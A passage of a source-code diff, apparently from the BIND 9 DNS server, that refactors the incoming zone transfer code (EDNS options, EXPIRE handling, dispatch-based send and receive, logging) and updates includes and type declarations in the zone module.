-		dns_message_puttemprdataset(msg, &rds);
-	}
-	if (rdl != NULL) {
-		ISC_LIST_UNLINK(rdl->rdata, rdata, link);
-		dns_message_puttemprdatalist(msg, &rdl);
+static const char *
+request_type(dns_xfrin_t *xfr) {
+	switch (xfr->reqtype) {
+	case dns_rdatatype_soa:
+		return "SOA";
+	case dns_rdatatype_axfr:
+		return "AXFR";
+	case dns_rdatatype_ixfr:
+		return "IXFR";
+	default:
+		ISC_UNREACHABLE();
 	}
-	if (rdata != NULL) {
-		dns_message_puttemprdata(msg, &rdata);
+}
+
+static isc_result_t
+add_opt(dns_message_t *message, uint16_t udpsize, bool reqnsid,
+	bool reqexpire) {
+	isc_result_t result;
+	dns_rdataset_t *rdataset = NULL;
+	dns_ednsopt_t ednsopts[DNS_EDNSOPTIONS];
+	int count = 0;
+
+	/* Set EDNS options if applicable. */
+	if (reqnsid) {
+		INSIST(count < DNS_EDNSOPTIONS);
+		ednsopts[count].code = DNS_OPT_NSID;
+		ednsopts[count].length = 0;
+		ednsopts[count].value = NULL;
+		count++;
+	}
+	if (reqexpire) {
+		INSIST(count < DNS_EDNSOPTIONS);
+		ednsopts[count].code = DNS_OPT_EXPIRE;
+		ednsopts[count].length = 0;
+		ednsopts[count].value = NULL;
+		count++;
+	}
+	result = dns_message_buildopt(message, &rdataset, 0, udpsize, 0,
+				      ednsopts, count);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
 
-	return (result);
+	return (dns_message_setopt(message, rdataset));
 }
 
 /*
  * Build an *XFR request and send its length prefix.
  */
 static isc_result_t
-xfrin_send_request(dns_xfrin_ctx_t *xfr) {
+xfrin_send_request(dns_xfrin_t *xfr) {
 	isc_result_t result;
 	isc_region_t region;
 	dns_rdataset_t *qrdataset = NULL;
@@ -1122,18 +1201,23 @@ xfrin_send_request(dns_xfrin_ctx_t *xfr) {
 	dns_name_t *qname = NULL;
 	dns_dbversion_t *ver = NULL;
 	dns_name_t *msgsoaname = NULL;
-	dns_xfrin_ctx_t *send_xfr = NULL;
+	bool edns = xfr->edns;
+	bool reqnsid = xfr->view->requestnsid;
+	bool reqexpire = dns_zone_getrequestexpire(xfr->zone);
+	uint16_t udpsize = dns_view_getudpsize(xfr->view);
+
+	LIBDNS_XFRIN_RECV_SEND_REQUEST(xfr, xfr->info);
 
 	/* Create the request message */
 	dns_message_create(xfr->mctx, DNS_MESSAGE_INTENTRENDER, &msg);
 	CHECK(dns_message_settsigkey(msg, xfr->tsigkey));
 
 	/* Create a name for the question section. */
-	CHECK(dns_message_gettempname(msg, &qname));
+	dns_message_gettempname(msg, &qname);
 	dns_name_clone(&xfr->name, qname);
 
 	/* Formulate the question and attach it to the question name. */
-	CHECK(dns_message_gettemprdataset(msg, &qrdataset));
+	dns_message_gettemprdataset(msg, &qrdataset);
 	dns_rdataset_makequestion(qrdataset, xfr->rdclass, xfr->reqtype);
 	ISC_LIST_APPEND(qname->list, qrdataset, link);
 	qrdataset = NULL;
@@ -1143,7 +1227,6 @@ xfrin_send_request(dns_xfrin_ctx_t *xfr) {
 
 	if (xfr->reqtype == dns_rdatatype_ixfr) {
 		/* Get the SOA and add it to the authority section. */
-		/* XXX is using the current version the right thing? */
 		dns_db_currentversion(xfr->db, &ver);
 		CHECK(dns_db_createsoatuple(xfr->db, ver, xfr->mctx,
 					    DNS_DIFFOP_EXISTS, &soatuple));
@@ -1153,18 +1236,35 @@ xfrin_send_request(dns_xfrin_ctx_t *xfr) {
 			  "requesting IXFR for serial %u",
 			  xfr->ixfr.request_serial);
 
-		CHECK(tuple2msgname(soatuple, msg, &msgsoaname));
+		tuple2msgname(soatuple, msg, &msgsoaname);
 		dns_message_addname(msg, msgsoaname, DNS_SECTION_AUTHORITY);
 	} else if (xfr->reqtype == dns_rdatatype_soa) {
 		CHECK(dns_db_getsoaserial(xfr->db, NULL,
 					  &xfr->ixfr.request_serial));
 	}
 
-	xfr->id++;
+	if (edns && xfr->view->peers != NULL) {
+		dns_peer_t *peer = NULL;
+		isc_netaddr_t primaryip;
+		isc_netaddr_fromsockaddr(&primaryip, &xfr->primaryaddr);
+		result = dns_peerlist_peerbyaddr(xfr->view->peers, &primaryip,
+						 &peer);
+		if (result == ISC_R_SUCCESS) {
+			(void)dns_peer_getsupportedns(peer, &edns);
+			(void)dns_peer_getudpsize(peer, &udpsize);
+			(void)dns_peer_getrequestnsid(peer, &reqnsid);
+			(void)dns_peer_getrequestexpire(peer, &reqexpire);
+		}
+	}
+
+	if (edns) {
+		CHECK(add_opt(msg, udpsize, reqnsid, reqexpire));
+	}
+
 	xfr->nmsg = 0;
 	xfr->nrecs = 0;
 	xfr->nbytes = 0;
-	isc_time_now(&xfr->start);
+	xfr->start = isc_time_now();
 	msg->id = xfr->id;
 	if (xfr->tsigctx != NULL) {
 		dst_context_destroy(&xfr->tsigctx);
@@ -1187,21 +1287,13 @@ xfrin_send_request(dns_xfrin_ctx_t *xfr) {
 	isc_buffer_usedregion(&xfr->qbuffer, &region);
 	INSIST(region.length <= 65535);
 
-	dns_xfrin_attach(xfr, &send_xfr);
-	isc_nmhandle_attach(send_xfr->handle, &xfr->sendhandle);
-	isc_refcount_increment0(&send_xfr->sends);
-	isc_nm_send(xfr->handle, &region, xfrin_send_done, send_xfr);
+	dns_xfrin_ref(xfr);
+	dns_dispatch_send(xfr->dispentry, &region);
+	xfrin_log(xfr, ISC_LOG_DEBUG(3), "sending %s request, QID %d",
+		  request_type(xfr), xfr->id);
 
 failure:
-	if (qname != NULL) {
-		dns_message_puttempname(msg, &qname);
-	}
-	if (qrdataset != NULL) {
-		dns_message_puttemprdataset(msg, &qrdataset);
-	}
-	if (msg != NULL) {
-		dns_message_detach(&msg);
-	}
+	dns_message_detach(&msg);
 	if (soatuple != NULL) {
 		dns_difftuple_free(&soatuple);
 	}
@@ -1213,53 +1305,82 @@ xfrin_send_request(dns_xfrin_ctx_t *xfr) {
 }
 
 static void
-xfrin_send_done(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
-	dns_xfrin_ctx_t *xfr = (dns_xfrin_ctx_t *)cbarg;
-	dns_xfrin_ctx_t *recv_xfr = NULL;
+xfrin_send_done(isc_result_t result, isc_region_t *region, void *arg) {
+	dns_xfrin_t *xfr = (dns_xfrin_t *)arg;
+
+	UNUSED(region);
 
 	REQUIRE(VALID_XFRIN(xfr));
 
-	isc_refcount_decrement0(&xfr->sends);
 	if (atomic_load(&xfr->shuttingdown)) {
 		result = ISC_R_SHUTTINGDOWN;
 	}
 
+	LIBDNS_XFRIN_SENT(xfr, xfr->info, result);
+
 	CHECK(result);
 
 	xfrin_log(xfr, ISC_LOG_DEBUG(3), "sent request data");
 
-	dns_xfrin_attach(xfr, &recv_xfr);
-	isc_nmhandle_attach(handle, &recv_xfr->readhandle);
-	isc_refcount_increment0(&recv_xfr->recvs);
-	isc_nm_read(recv_xfr->handle, xfrin_recv_done, recv_xfr);
-
 failure:
 	if (result != ISC_R_SUCCESS) {
 		xfrin_fail(xfr, result, "failed sending request data");
 	}
 
-	isc_nmhandle_detach(&xfr->sendhandle);
-	dns_xfrin_detach(&xfr); /* send_xfr */
+	dns_xfrin_detach(&xfr);
+}
+
+static void
+get_edns_expire(dns_xfrin_t *xfr, dns_message_t *msg) {
+	isc_result_t result;
+	dns_rdata_t rdata = DNS_RDATA_INIT;
+	isc_buffer_t optbuf;
+	uint16_t optcode;
+	uint16_t optlen;
+
+	result = dns_rdataset_first(msg->opt);
+	if (result == ISC_R_SUCCESS) {
+		dns_rdataset_current(msg->opt, &rdata);
+		isc_buffer_init(&optbuf, rdata.data, rdata.length);
+		isc_buffer_add(&optbuf, rdata.length);
+		while (isc_buffer_remaininglength(&optbuf) >= 4) {
+			optcode = isc_buffer_getuint16(&optbuf);
+			optlen = isc_buffer_getuint16(&optbuf);
+			/*
+			 * A EDNS EXPIRE response has a length of 4.
+			 */
+			if (optcode != DNS_OPT_EXPIRE || optlen != 4) {
+				isc_buffer_forward(&optbuf, optlen);
+				continue;
+			}
+			xfr->expireopt = isc_buffer_getuint32(&optbuf);
+			xfr->expireoptset = true;
+			dns_zone_log(xfr->zone, ISC_LOG_DEBUG(1),
+				     "got EDNS EXPIRE of %u", xfr->expireopt);
+			break;
+		}
+	}
 }
 
 static void
-xfrin_recv_done(isc_nmhandle_t *handle, isc_result_t result,
-		isc_region_t *region, void *cbarg) {
-	dns_xfrin_ctx_t *xfr = (dns_xfrin_ctx_t *)cbarg;
+xfrin_recv_done(isc_result_t result, isc_region_t *region, void *arg) {
+	dns_xfrin_t *xfr = (dns_xfrin_t *)arg;
 	dns_message_t *msg = NULL;
 	dns_name_t *name = NULL;
 	const dns_name_t *tsigowner = NULL;
 	isc_buffer_t buffer;
-	isc_sockaddr_t peer;
 
 	REQUIRE(VALID_XFRIN(xfr));
 
-	isc_refcount_decrement0(&xfr->recvs);
-
 	if (atomic_load(&xfr->shuttingdown)) {
 		result = ISC_R_SHUTTINGDOWN;
 	}
 
+	/* Stop the idle timer */
+	isc_timer_stop(xfr->max_idle_timer);
+
+	LIBDNS_XFRIN_RECV_START(xfr, xfr->info, result);
+
 	CHECK(result);
 
 	xfrin_log(xfr, ISC_LOG_DEBUG(7), "received %u bytes", region->length);
@@ -1267,7 +1388,7 @@ xfrin_recv_done(isc_nmhandle_t *handle, isc_result_t result,
 	dns_message_create(xfr->mctx, DNS_MESSAGE_INTENTPARSE, &msg);
 
 	CHECK(dns_message_settsigkey(msg, xfr->tsigkey));
-	CHECK(dns_message_setquerytsig(msg, xfr->lasttsig));
+	dns_message_setquerytsig(msg, xfr->lasttsig);
 
 	msg->tsigctx = xfr->tsigctx;
 	xfr->tsigctx = NULL;
@@ -1280,55 +1401,69 @@ xfrin_recv_done(isc_nmhandle_t *handle, isc_result_t result,
 
 	isc_buffer_init(&buffer, region->base, region->length);
 	isc_buffer_add(&buffer, region->length);
-	peer = isc_nmhandle_peeraddr(handle);
 
 	result = dns_message_parse(msg, &buffer,
 				   DNS_MESSAGEPARSE_PRESERVEORDER);
 	if (result == ISC_R_SUCCESS) {
-		dns_message_logpacket(msg, "received message from", &peer,
-				      DNS_LOGCATEGORY_XFER_IN,
-				      DNS_LOGMODULE_XFER_IN, ISC_LOG_DEBUG(10),
-				      xfr->mctx);
+		dns_message_logpacket(
+			msg, "received message from", &xfr->primaryaddr,
+			DNS_LOGCATEGORY_XFER_IN, DNS_LOGMODULE_XFER_IN,
+			ISC_LOG_DEBUG(10), xfr->mctx);
 	} else {
 		xfrin_log(xfr, ISC_LOG_DEBUG(10), "dns_message_parse: %s",
-			  dns_result_totext(result));
+			  isc_result_totext(result));
 	}
 
+	LIBDNS_XFRIN_RECV_PARSED(xfr, xfr->info, result);
+
 	if (result != ISC_R_SUCCESS || msg->rcode != dns_rcode_noerror ||
-	    msg->opcode != dns_opcode_query || msg->rdclass != xfr->rdclass ||
-	    msg->id != xfr->id)
+	    msg->opcode != dns_opcode_query || msg->rdclass != xfr->rdclass)
 	{
-		if (result == ISC_R_SUCCESS && msg->rcode != dns_rcode_noerror)
+		if (result == ISC_R_SUCCESS &&
+		    msg->rcode == dns_rcode_formerr && xfr->edns &&
+		    (xfr->state == XFRST_SOAQUERY ||
+		     xfr->state == XFRST_INITIALSOA))
+		{
+			xfr->edns = false;
+			dns_message_detach(&msg);
+			xfrin_reset(xfr);
+			goto try_again;
+		} else if (result == ISC_R_SUCCESS &&
+			   msg->rcode != dns_rcode_noerror)
 		{
-			result = ISC_RESULTCLASS_DNSRCODE + msg->rcode; /*XXX*/
+			result = dns_result_fromrcode(msg->rcode);
 		} else if (result == ISC_R_SUCCESS &&
-			   msg->opcode != dns_opcode_query) {
+			   msg->opcode != dns_opcode_query)
+		{
 			result = DNS_R_UNEXPECTEDOPCODE;
 		} else if (result == ISC_R_SUCCESS &&
-			   msg->rdclass != xfr->rdclass) {
+			   msg->rdclass != xfr->rdclass)
+		{
 			result = DNS_R_BADCLASS;
 		} else if (result == ISC_R_SUCCESS || result == DNS_R_NOERROR) {
 			result = DNS_R_UNEXPECTEDID;
 		}
 
 		if (xfr->reqtype == dns_rdatatype_axfr ||
-		    xfr->reqtype == dns_rdatatype_soa) {
+		    xfr->reqtype == dns_rdatatype_soa)
+		{
 			goto failure;
 		}
 
 		xfrin_log(xfr, ISC_LOG_DEBUG(3), "got %s, retrying with AXFR",
 			  isc_result_totext(result));
 	try_axfr:
-		isc_nmhandle_detach(&xfr->readhandle);
+		LIBDNS_XFRIN_RECV_TRY_AXFR(xfr, xfr->info, result);
 		dns_message_detach(&msg);
 		xfrin_reset(xfr);
 		xfr->reqtype = dns_rdatatype_soa;
 		xfr->state = XFRST_SOAQUERY;
+	try_again:
 		result = xfrin_start(xfr);
 		if (result != ISC_R_SUCCESS) {
 			xfrin_fail(xfr, result, "failed setting up socket");
 		}
-		dns_xfrin_detach(&xfr); /* recv_xfr */
+		dns_xfrin_detach(&xfr);
 		return;
 	}
 
@@ -1340,7 +1475,7 @@ xfrin_recv_done(isc_nmhandle_t *handle, isc_result_t result,
 	 * match the question that was sent.
 	 */
 	if (msg->counts[DNS_SECTION_QUESTION] > 1) {
-		xfrin_log(xfr, ISC_LOG_DEBUG(3), "too many questions (%u)",
+		xfrin_log(xfr, ISC_LOG_NOTICE, "too many questions (%u)",
 			  msg->counts[DNS_SECTION_QUESTION]);
 		result = DNS_R_FORMERR;
 		goto failure;
@@ -1349,7 +1484,7 @@ xfrin_recv_done(isc_nmhandle_t *handle, isc_result_t result,
 	if ((xfr->state == XFRST_SOAQUERY || xfr->state == XFRST_INITIALSOA) &&
 	    msg->counts[DNS_SECTION_QUESTION] != 1)
 	{
-		xfrin_log(xfr, ISC_LOG_DEBUG(3), "missing question section");
+		xfrin_log(xfr, ISC_LOG_NOTICE, "missing question section");
 		result = DNS_R_FORMERR;
 		goto failure;
 	}
@@ -1360,11 +1495,13 @@ xfrin_recv_done(isc_nmhandle_t *handle, isc_result_t result,
 	{
 		dns_rdataset_t *rds = NULL;
 
+		LIBDNS_XFRIN_RECV_QUESTION(xfr, xfr->info, msg);
+
 		name = NULL;
 		dns_message_currentname(msg, DNS_SECTION_QUESTION, &name);
 		if (!dns_name_equal(name, &xfr->name)) {
 			result = DNS_R_FORMERR;
-			xfrin_log(xfr, ISC_LOG_DEBUG(3),
+			xfrin_log(xfr, ISC_LOG_NOTICE,
 				  "question name mismatch");
 			goto failure;
 		}
@@ -1372,13 +1509,13 @@ xfrin_recv_done(isc_nmhandle_t *handle, isc_result_t result,
 		INSIST(rds != NULL);
 		if (rds->type != xfr->reqtype) {
 			result = DNS_R_FORMERR;
-			xfrin_log(xfr, ISC_LOG_DEBUG(3),
+			xfrin_log(xfr, ISC_LOG_NOTICE,
 				  "question type mismatch");
 			goto failure;
 		}
 		if (rds->rdclass != xfr->rdclass) {
 			result = DNS_R_FORMERR;
-			xfrin_log(xfr, ISC_LOG_DEBUG(3),
+			xfrin_log(xfr, ISC_LOG_NOTICE,
 				  "question class mismatch");
 			goto failure;
 		}
@@ -1403,11 +1540,12 @@ xfrin_recv_done(isc_nmhandle_t *handle, isc_result_t result,
 	}
 
 	if (xfr->reqtype == dns_rdatatype_soa &&
-	    (msg->flags & DNS_MESSAGEFLAG_AA) == 0) {
+	    (msg->flags & DNS_MESSAGEFLAG_AA) == 0)
+	{
 		FAIL(DNS_R_NOTAUTHORITATIVE);
 	}
 
-	result = dns_message_checksig(msg, dns_zone_getview(xfr->zone));
+	result = dns_message_checksig(msg, xfr->view);
 	if (result != ISC_R_SUCCESS) {
 		xfrin_log(xfr, ISC_LOG_DEBUG(3), "TSIG check failed: %s",
 			  isc_result_totext(result));
@@ -1420,6 +1558,8 @@ xfrin_recv_done(isc_nmhandle_t *handle, isc_result_t result,
 	{
 		dns_rdataset_t *rds = NULL;
 
+		LIBDNS_XFRIN_RECV_ANSWER(xfr, xfr->info, msg);
+
 		name = NULL;
 		dns_message_currentname(msg, DNS_SECTION_ANSWER, &name);
 		for (rds = ISC_LIST_HEAD(name->list); rds != NULL;
@@ -1484,6 +1624,10 @@ xfrin_recv_done(isc_nmhandle_t *handle, isc_result_t result,
 	xfr->tsigctx = msg->tsigctx;
 	msg->tsigctx = NULL;
 
+	if (!xfr->expireoptset && msg->opt != NULL) {
+		get_edns_expire(xfr, msg);
+	}
+
 	switch (xfr->state) {
 	case XFRST_GOTSOA:
 		xfr->reqtype = dns_rdatatype_axfr;
@@ -1492,35 +1636,49 @@ xfrin_recv_done(isc_nmhandle_t *handle, isc_result_t result,
 		break;
 	case XFRST_AXFR_END:
 		CHECK(axfr_finalize(xfr));
-		/* FALLTHROUGH */
+		FALLTHROUGH;
 	case XFRST_IXFR_END:
 		/*
 		 * Close the journal.
 		 */
 		if (xfr->ixfr.journal != NULL) {
+			LIBDNS_XFRIN_JOURNAL_DESTROY_BEGIN(xfr, xfr->info,
+							   result);
 			dns_journal_destroy(&xfr->ixfr.journal);
+			LIBDNS_XFRIN_JOURNAL_DESTROY_END(xfr, xfr->info,
+							 result);
 		}
 
 		/*
 		 * Inform the caller we succeeded.
 		 */
 		if (xfr->done != NULL) {
-			(xfr->done)(xfr->zone, ISC_R_SUCCESS);
+			LIBDNS_XFRIN_DONE_CALLBACK_BEGIN(xfr, xfr->info,
+							 result);
+			(xfr->done)(xfr->zone,
+				    xfr->expireoptset ? &xfr->expireopt : NULL,
+				    ISC_R_SUCCESS);
 			xfr->done = NULL;
+			LIBDNS_XFRIN_DONE_CALLBACK_END(xfr, xfr->info, result);
 		}
 
 		atomic_store(&xfr->shuttingdown, true);
+		isc_timer_stop(xfr->max_time_timer);
 		xfr->shutdown_result = ISC_R_SUCCESS;
 		break;
 	default:
 		/*
 		 * Read the next message.
 		 */
-		/* The readhandle is still attached */
-		/* The recv_xfr is still attached */
 		dns_message_detach(&msg);
-		isc_refcount_increment0(&xfr->recvs);
-		isc_nm_read(xfr->handle, xfrin_recv_done, xfr);
+		dns_dispatch_getnext(xfr->dispentry);
+
+		isc_interval_t interval;
+		isc_interval_set(&interval, dns_zone_getidlein(xfr->zone), 0);
+		isc_timer_start(xfr->max_idle_timer, isc_timertype_once,
+				&interval);
+
+		LIBDNS_XFRIN_READ(xfr, xfr->info, result);
 		return;
 	}
 
@@ -1532,24 +1690,20 @@ xfrin_recv_done(isc_nmhandle_t *handle, isc_result_t result,
 	if (msg != NULL) {
 		dns_message_detach(&msg);
 	}
-	isc_nmhandle_detach(&xfr->readhandle);
-	dns_xfrin_detach(&xfr); /* recv_xfr */
+	dns_xfrin_detach(&xfr);
+	LIBDNS_XFRIN_RECV_DONE(xfr, xfr->info, result);
 }
 
 static void
-xfrin_destroy(dns_xfrin_ctx_t *xfr) {
-	uint64_t msecs;
-	uint64_t persec;
-	const char *result_str;
+xfrin_destroy(dns_xfrin_t *xfr) {
+	uint64_t msecs, persec;
 
 	REQUIRE(VALID_XFRIN(xfr));
+	REQUIRE(dns_zone_gettid(xfr->zone) == isc_tid());
 
 	/* Safe-guards */
 	REQUIRE(atomic_load(&xfr->shuttingdown));
 	isc_refcount_destroy(&xfr->references);
-	isc_refcount_destroy(&xfr->connects);
-	isc_refcount_destroy(&xfr->recvs);
-	isc_refcount_destroy(&xfr->sends);
 
 	INSIST(xfr->shutdown_result != ISC_R_UNSET);
 
@@ -1558,14 +1712,14 @@ xfrin_destroy(dns_xfrin_ctx_t *xfr) {
 	 * shutting down, we can't know what the transfer status is as
 	 * we are only called when the last reference is lost.
 	 */
-	result_str = isc_result_totext(xfr->shutdown_result);
-	xfrin_log(xfr, ISC_LOG_INFO, "Transfer status: %s", result_str);
+	xfrin_log(xfr, ISC_LOG_INFO, "Transfer status: %s",
+		  isc_result_totext(xfr->shutdown_result));
 
 	/*
 	 * Calculate the length of time the transfer took,
 	 * and print a log message with the bytes and rate.
 	 */
-	isc_time_now(&xfr->end);
+	xfr->end = isc_time_now();
 	msecs = isc_time_microdiff(&xfr->end, &xfr->start) / 1000;
 	if (msecs == 0) {
 		msecs = 1;
@@ -1579,11 +1733,11 @@ xfrin_destroy(dns_xfrin_ctx_t *xfr) {
 		  (unsigned int)(msecs / 1000), (unsigned int)(msecs % 1000),
 		  (unsigned int)persec, xfr->end_serial);
 
-	if (xfr->readhandle != NULL) {
-		isc_nmhandle_detach(&xfr->readhandle);
+	if (xfr->dispentry != NULL) {
+		dns_dispatch_done(&xfr->dispentry);
 	}
-	if (xfr->sendhandle != NULL) {
-		isc_nmhandle_detach(&xfr->sendhandle);
+	if (xfr->disp != NULL) {
+		dns_dispatch_detach(&xfr->disp);
 	}
 
 	if (xfr->transport != NULL) {
@@ -1612,7 +1766,7 @@ xfrin_destroy(dns_xfrin_ctx_t *xfr) {
 		dst_context_destroy(&xfr->tsigctx);
 	}
 
-	if ((xfr->name.attributes & DNS_NAMEATTR_DYNAMIC) != 0) {
+	if (xfr->name.attributes.dynamic) {
 		dns_name_free(&xfr->name, xfr->mctx);
 	}
 
@@ -1639,10 +1793,21 @@ xfrin_destroy(dns_xfrin_ctx_t *xfr) {
 		dns_zone_idetach(&xfr->zone);
 	}
 
+	if (xfr->view != NULL) {
+		dns_view_weakdetach(&xfr->view);
+	}
+
 	if (xfr->firstsoa_data != NULL) {
 		isc_mem_free(xfr->mctx, xfr->firstsoa_data);
 	}
 
+	if (xfr->tlsctx_cache != NULL) {
+		isc_tlsctx_cache_detach(&xfr->tlsctx_cache);
+	}
+
+	isc_timer_destroy(&xfr->max_idle_timer);
+	isc_timer_destroy(&xfr->max_time_timer);
+
 	isc_mem_putanddetach(&xfr->mctx, xfr, sizeof(*xfr));
 }
 
@@ -1650,54 +1815,24 @@ xfrin_destroy(dns_xfrin_ctx_t *xfr) {
  * Log incoming zone transfer messages in a format like
  * transfer of <zone> from <address>: <message>
  */
-static void
-xfrin_logv(int level, const char *zonetext, const isc_sockaddr_t *masteraddr,
-	   const char *fmt, va_list ap) {
-	char mastertext[ISC_SOCKADDR_FORMATSIZE];
-	char msgtext[2048];
-
-	isc_sockaddr_format(masteraddr, mastertext, sizeof(mastertext));
-	vsnprintf(msgtext, sizeof(msgtext), fmt, ap);
-
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_XFER_IN, DNS_LOGMODULE_XFER_IN,
-		      level, "transfer of '%s' from %s: %s", zonetext,
-		      mastertext, msgtext);
-}
-
-/*
- * Logging function for use when a xfrin_ctx_t has not yet been created.
- */
 
 static void
-xfrin_log1(int level, const char *zonetext, const isc_sockaddr_t *masteraddr,
-	   const char *fmt, ...) {
+xfrin_log(dns_xfrin_t *xfr, int level, const char *fmt, ...) {
 	va_list ap;
+	char primarytext[ISC_SOCKADDR_FORMATSIZE];
+	char msgtext[2048];
 
 	if (!isc_log_wouldlog(dns_lctx, level)) {
 		return;
 	}
 
+	isc_sockaddr_format(&xfr->primaryaddr, primarytext,
+			    sizeof(primarytext));
 	va_start(ap, fmt);
-	xfrin_logv(level, zonetext, masteraddr, fmt, ap);
+	vsnprintf(msgtext, sizeof(msgtext), fmt, ap);
 	va_end(ap);
-}
-
-/*
- * Logging function for use when there is a xfrin_ctx_t.
- */
-
-static void
-xfrin_log(dns_xfrin_ctx_t *xfr, int level, const char *fmt, ...) {
-	va_list ap;
-	char zonetext[DNS_NAME_MAXTEXT + 32];
-
-	if (!isc_log_wouldlog(dns_lctx, level)) {
-		return;
-	}
-
-	dns_zone_name(xfr->zone, zonetext, sizeof(zonetext));
 
-	va_start(ap, fmt);
-	xfrin_logv(level, zonetext, &xfr->masteraddr, fmt, ap);
-	va_end(ap);
+	isc_log_write(dns_lctx, DNS_LOGCATEGORY_XFER_IN, DNS_LOGMODULE_XFER_IN,
+		      level, "%p: transfer of '%s' from %s: %s", xfr, xfr->info,
+		      primarytext, msgtext);
 }
diff --git a/lib/dns/zone.c b/lib/dns/zone.c
index 4ed31f24dc..affce8c0d5 100644
--- a/lib/dns/zone.c
+++ b/lib/dns/zone.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,25 +17,30 @@
 #include <inttypes.h>
 #include <stdbool.h>
 
+#include <isc/async.h>
 #include <isc/atomic.h>
 #include <isc/file.h>
+#include <isc/hash.h>
+#include <isc/hashmap.h>
 #include <isc/hex.h>
+#include <isc/loop.h>
 #include <isc/md.h>
 #include <isc/mutex.h>
-#include <isc/pool.h>
-#include <isc/print.h>
+#include <isc/overflow.h>
 #include <isc/random.h>
 #include <isc/ratelimiter.h>
 #include <isc/refcount.h>
+#include <isc/result.h>
 #include <isc/rwlock.h>
 #include <isc/serial.h>
 #include <isc/stats.h>
 #include <isc/stdtime.h>
 #include <isc/strerr.h>
 #include <isc/string.h>
-#include <isc/taskpool.h>
 #include <isc/thread.h>
+#include <isc/tid.h>
 #include <isc/timer.h>
+#include <isc/tls.h>
 #include <isc/util.h>
 
 #include <dns/acl.h>
@@ -44,7 +51,6 @@
 #include <dns/dbiterator.h>
 #include <dns/dlz.h>
 #include <dns/dnssec.h>
-#include <dns/events.h>
 #include <dns/journal.h>
 #include <dns/kasp.h>
 #include <dns/keydata.h>
@@ -58,6 +64,7 @@
 #include <dns/name.h>
 #include <dns/nsec.h>
 #include <dns/nsec3.h>
+#include <dns/opcode.h>
 #include <dns/peer.h>
 #include <dns/private.h>
 #include <dns/rcode.h>
@@ -68,9 +75,9 @@
 #include <dns/rdatasetiter.h>
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
+#include <dns/remote.h>
 #include <dns/request.h>
 #include <dns/resolver.h>
-#include <dns/result.h>
 #include <dns/rriterator.h>
 #include <dns/soa.h>
 #include <dns/ssu.h>
@@ -93,21 +100,27 @@
 #define NOTIFY_MAGIC		 ISC_MAGIC('N', 't', 'f', 'y')
 #define DNS_NOTIFY_VALID(notify) ISC_MAGIC_VALID(notify, NOTIFY_MAGIC)
 
+#define CHECKDS_MAGIC		   ISC_MAGIC('C', 'h', 'D', 'S')
+#define DNS_CHECKDS_VALID(checkds) ISC_MAGIC_VALID(checkds, CHECKDS_MAGIC)
+
 #define STUB_MAGIC	     ISC_MAGIC('S', 't', 'u', 'b')
 #define DNS_STUB_VALID(stub) ISC_MAGIC_VALID(stub, STUB_MAGIC)
 
 #define ZONEMGR_MAGIC		ISC_MAGIC('Z', 'm', 'g', 'r')
 #define DNS_ZONEMGR_VALID(stub) ISC_MAGIC_VALID(stub, ZONEMGR_MAGIC)
 
-#define LOAD_MAGIC	     ISC_MAGIC('L', 'o', 'a', 'd')
-#define DNS_LOAD_VALID(load) ISC_MAGIC_VALID(load, LOAD_MAGIC)
-
 #define FORWARD_MAGIC		ISC_MAGIC('F', 'o', 'r', 'w')
 #define DNS_FORWARD_VALID(load) ISC_MAGIC_VALID(load, FORWARD_MAGIC)
 
 #define IO_MAGIC	   ISC_MAGIC('Z', 'm', 'I', 'O')
 #define DNS_IO_VALID(load) ISC_MAGIC_VALID(load, IO_MAGIC)
 
+#define KEYMGMT_MAGIC		ISC_MAGIC('M', 'g', 'm', 't')
+#define DNS_KEYMGMT_VALID(load) ISC_MAGIC_VALID(load, KEYMGMT_MAGIC)
+
+#define KEYFILEIO_MAGIC		  ISC_MAGIC('K', 'y', 'I', 'O')
+#define DNS_KEYFILEIO_VALID(kfio) ISC_MAGIC_VALID(kfio, KEYFILEIO_MAGIC)
+
 /*%
  * Ensure 'a' is at least 'min' but not more than 'max'.
  */
@@ -153,16 +166,17 @@
 #endif			   /* ifndef DNS_DUMP_DELAY */
 
 typedef struct dns_notify dns_notify_t;
+typedef struct dns_checkds dns_checkds_t;
 typedef struct dns_stub dns_stub_t;
 typedef struct dns_load dns_load_t;
 typedef struct dns_forward dns_forward_t;
 typedef ISC_LIST(dns_forward_t) dns_forwardlist_t;
-typedef struct dns_io dns_io_t;
-typedef ISC_LIST(dns_io_t) dns_iolist_t;
+typedef struct dns_keymgmt dns_keymgmt_t;
 typedef struct dns_signing dns_signing_t;
 typedef ISC_LIST(dns_signing_t) dns_signinglist_t;
 typedef struct dns_nsec3chain dns_nsec3chain_t;
 typedef ISC_LIST(dns_nsec3chain_t) dns_nsec3chainlist_t;
+typedef struct dns_nsfetch dns_nsfetch_t;
 typedef struct dns_keyfetch dns_keyfetch_t;
 typedef struct dns_asyncload dns_asyncload_t;
 typedef struct dns_include dns_include_t;
@@ -199,35 +213,57 @@ typedef struct dns_include dns_include_t;
 	} while (0)
 #endif /* ifdef DNS_ZONE_CHECKLOCK */
 
-#define ZONEDB_INITLOCK(l)    isc_rwlock_init((l), 0, 0)
+#define ZONEDB_INITLOCK(l)    isc_rwlock_init((l))
 #define ZONEDB_DESTROYLOCK(l) isc_rwlock_destroy(l)
 #define ZONEDB_LOCK(l, t)     RWLOCK((l), (t))
 #define ZONEDB_UNLOCK(l, t)   RWUNLOCK((l), (t))
 
-#define LOCK_KEYFILES(z)   LOCK(&(z)->keyflock)
-#define UNLOCK_KEYFILES(z) UNLOCK(&(z)->keyflock)
-
 #ifdef ENABLE_AFL
 extern bool dns_fuzzing_resolver;
 #endif /* ifdef ENABLE_AFL */
 
+/*%
+ *	Hold key file IO locks.
+ */
+typedef struct dns_keyfileio {
+	unsigned int magic;
+	isc_mutex_t lock;
+	isc_refcount_t references;
+	dns_name_t *name;
+	dns_fixedname_t fname;
+} dns_keyfileio_t;
+
+struct dns_keymgmt {
+	unsigned int magic;
+	isc_rwlock_t lock;
+	isc_mem_t *mctx;
+	isc_hashmap_t *table;
+};
+
